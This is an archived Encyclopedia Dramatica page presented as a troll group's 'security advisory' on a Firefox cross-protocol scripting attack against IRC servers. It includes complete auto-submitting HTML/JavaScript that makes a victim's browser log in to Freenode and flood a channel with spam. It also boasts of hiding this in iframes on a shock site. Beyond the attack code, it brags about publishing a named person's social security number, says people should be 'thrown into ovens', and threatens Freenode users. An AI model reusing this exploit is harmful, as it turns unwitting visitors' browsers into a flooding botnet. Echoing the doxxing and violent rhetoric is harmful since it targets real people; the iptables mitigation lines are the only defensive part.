Registration has been disabled and the moderation extension has been turned off.

Contact an admin on Discord or EDF if you want an account. Also fuck bots.

Firefox XPS IRC Attack

From Encyclopedia Dramatica
This is an old revision of this page, as edited by imported>Unknown at 03:34, 16 April 2011. It may differ significantly from the current revision.
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigationJump to search

Since it's been copied to much less sweet websites (without credit or sourcing), it's time to write up a security advisory (I believe the publishing of infosec advisories is a first for Encyclopedia Dramatica, lulz) and let everybody know whats up. Firefox has a hole in its port blocking scheme that allows a clever troll to spam an unsuspecting IRC daemon with whatever he desires. The GNAA leveraged this vulnerability to bring complete ruin upon the Freenode IRC network.

GOATSE SECURITY TEAM 0-DAY EXPLOIT ADVISORY
irc.hardchats.com #gnaa to discuss security consulting arrangements
File:Freenode spam header.jpg

How it works

A new implementation of cross-protocol scripting was used to automatically fill a HTTP form to send a POST to port 6667 and shove a bunch of IRC commands down the socket. Although Mozilla banned most of the fun ports years ago, 6667 -- the default port for IRC servers, wasn't on the list. In all likelihood, this the first use of this attack in the wild, ever.

This attack has a lot of implications outside of IRC. Think of all the other TCP ports that are in common use these days that aren't covered in Mozilla's banned list. Most protocols do not use a cookied handshake of any sort to initiate a connection. The sheer amount of potential that exists in turning a web browser into a device speaking an arbitrary protocol is huge. For example, SIP protocol can run on TCP these days. You can make someone's web browser interact with a SIP device. All sorts of potentially criminal and civil liability generating applications. Expect more of them to appear out of the GNAA labs in the future![-+]Example source (click plus to uncollapse)



<form action="http://irc.freenode.net:6667/" method="post" enctype="text/plain"> 
<textarea style="display:none" id="x" name="x"></textarea>
<input type="submit" style="display:none;" />
</form>
<script type="text/javascript">
function randomString(length) {
        var chars = "abcdefghiklmnopqrstuvwxyz";
        var randomstring = '';
        for (var i=0; i<length; i++) {
                var rnum = Math.floor(Math.random() * chars.length);
                randomstring += chars.substring(rnum,rnum+1);
        }
        return randomstring;
}
n=randomString(Math.floor(Math.random()*10+3));
i=randomString(Math.floor(Math.random()*10+3));
te=document.getElementById('x');
te.value = '\nUSER '+i+' 8 * :'+n+'\nNICK '+n+'\nJOIN #freenode\n'+new Array(99).join('PRIVMSG #freenode :Protect your rights online! Do not be squished by the leaders! Support the GNAA at irc.hardchats.com #gnaa ....... My name is '+n+', and I hope you have a nice day.\n');
te.parentNode.submit()
</script> 

Browser rundown

File:Shouldausedirssi.jpg
Should have used a real IRC client.

IRCD rundown

  • Efnet, no longer affected (took them about an hour to enact countermeasures
  • Buttesnet, no longer affected. (took them about 4 hours to enact countermeaures)
  • OFTC, no longer affected (took them about a day)
  • Freenode, over 1 month to enact countermeasures with a server upgrade from Hyperion to ircd-seven, after which they immediately got raped by GNAA. (LOL)

Attack mitigation

You'll want to use iptables u32 to skip over the IP and TCP headers of the packet, and match the first 4 bytes of the packet against "POST", like so:

-m u32 --u32 0x0>>0x16&0x3c@0xc>>0x1a&0x3c@0x0=0x504f5354 -m recent --set --name lastmeasure --rsource -j DROP

One command. Seriously. Any linux machine you can drop in this single line into your iptables configuration and boom, you've stopped the attack. This is what EFnet did. This is what Buttesnet did (which has exactly ONE lazy stoner administrating it). You break out tcpdump, you look at what is going on, you block it in iptables. This is what Freenode could not do, because they don't know anything about anything. Also, you'll want a rule to make sure any subsequent traffic refreshes the drop entry:

-m recent --update --seconds 86400 --name lastmeasure --rsource -j DROP

Best things that were done to Freenode

File:Cause.png
Secret Last Measure IRC flood administration panel
  • Embedded exploit in hidden iframes in everyone's favorite shock site, leading to thousands of hosts joining network.
  • Messaged Freenode opers blog links with hidden iframes and watched as they all k-lined eachother
 
What the attack looks like to a Typical Macintosh User
 
How it appears in the IRC client of rich and beautiful people.
  • Switched up the floods to CTCP and made users flood themselves off with CTCP replies over and over again until they were k-lined from servers with reconnect limits.
File:Ctcpklined.png
File:Freenodebigkill2.jpg
You donated previously? Retard.
  • After seeing a Freenode staff member make a bot that automatically k-lined flooding users in a channel with wildcards, manually flooded the channel from a shell account and watched it ban an entire TLD, taking a gigantic swath of the network with it.
File:Freenodebigkill3.jpg
File:Freenodebigkill4.jpg
K-lined *!*@*.net. You know, the usual.
File:Freenodebigkill1.jpg
  • Made Freenode staff xenophobic and paranoid and watched them k-line anyone who dared ask for assistance or complain about the floods.
File:Lolklined4reporting.jpg
  • Making Freenode users self-propagate the link on third party blogging services with warnings to not click the link (we got huge referrals from Twitter, thanks dudes)
File:Referrals2.jpg
File:Referrals1.jpg

You are mean. why did you torture freenode so much?

File:Ballsinjar.jpg
Also, Freenode users get so mad. That's reason enough alone. Lulz.

Freenode/PDPC is a fucking fraud. In the entire time it has existed, it has never released financial statements. Rob Levin used PDPC to embezzle hundreds of thousands of dollars which should have been given to open source development projects. He faked his death, and came back in this "christel" incarnation in Europe to continue embezzling from Freenode. It is all a big lie, and these people should be thrown into ovens. EFnet continuously hosts 100x the number of users that Freenode does without constant netsplits and incidents. OFTC does not sit there and continuously beg for money. Get off of Freenode. Go to somewhere that is ethical.

Beyond that, the trolling scene has a lot invested in ruining Freenode. I posted Rob Levin's social security number, enabling the series of identity thefts and ruins that forced the man to fake his death. With Bantown, I watched Jmax sniff lilo's oper block password off the wire and absolutely wreck the network in it. I also watched Grog (of the GNAA at the time, until he was excommunicated by the former tyrant timecop) convince lilo that he was the founder of MySQL, get opered up, wreck the network. Then he convinced lilo that his daughter's computer was hacked, apologized, got his o:line back and wrecked the network again.

In short, wrecking Freenode is a long and glorious troll tradition that stretches backwards for time immemorial. If you associate with Freenode, use Freenode, or support Freenode, you are a target. You are asking to be destroyed.

See Also

Non-English sources

Wall of whining bloggers

File:Btweet1.jpg
LOL FREENODE
File:Btweet2.jpg
LOL FREENODE
File:Btweet3.jpg
LOL FREENODE
File:Btweet4.jpg
LOL FREENODE
File:Btweet5.jpg
LOL FREENODE
File:Btweet6.jpg
LOL FREENODE
File:Btweet7.jpg
LOL FREENODE
File:Btweet8.jpg
LOL FREENODE
File:Btweet9.jpg
LOL FREENODE
File:Btweet10.jpg
LOL FREENODE
File:Fntweet3.jpg
File:Fntweet2.jpg
File:Fntweet1.jpg
File:Tweet4.jpg
File:Tweet5.jpg
File:Tweet6.jpg
File:Tweet7.jpg
File:Tweet8.jpg
File:Tweet9.jpg
File:Tweet10.jpg
File:Tweet11.jpg

 

Firefox XPS IRC Attack is part of a series on Programming.

[2 L337 4 MEEnter the Matrix]

ADAAssemblyCC++COBOLDebugDOSErlangErrorFdiskFortranIntegerJavaLOLCodeMachine CodeMatlabMIRC ScriptMUMPSOpen SourcePerlPHPProgramming languagePythonQBASICRuby on RailsScratchSSHVisual Basic

Hacks

Firefox XPS IRC AttackSafari XPS Attack Sandworm

Programmers

Bill GatesLinus TorvaldsWeevGoatse SecurityTerry DavisTheo de Raadt

Other Topics

Operating systemWarezNotepadIs not a bug, it's a featureDatabase Error

File:Tweet12.jpg
File:Tweet13.jpg
File:Gnaa-nostalgia.jpg
Aww, we love you too <3
File:Tweet14.jpg


Firefox XPS IRC Attack

is part of a series on

IRC

Please visit the IRC PORTAL for more


A-BC-DE-FG-HI-JK-LM-NO-P
Q-RS-TU-VW-XY-Z#

 

Featured article March 7, 2010
Preceded by
HOW CAN SHE SLAP?!?
Firefox XPS IRC Attack Succeeded by
American Family Association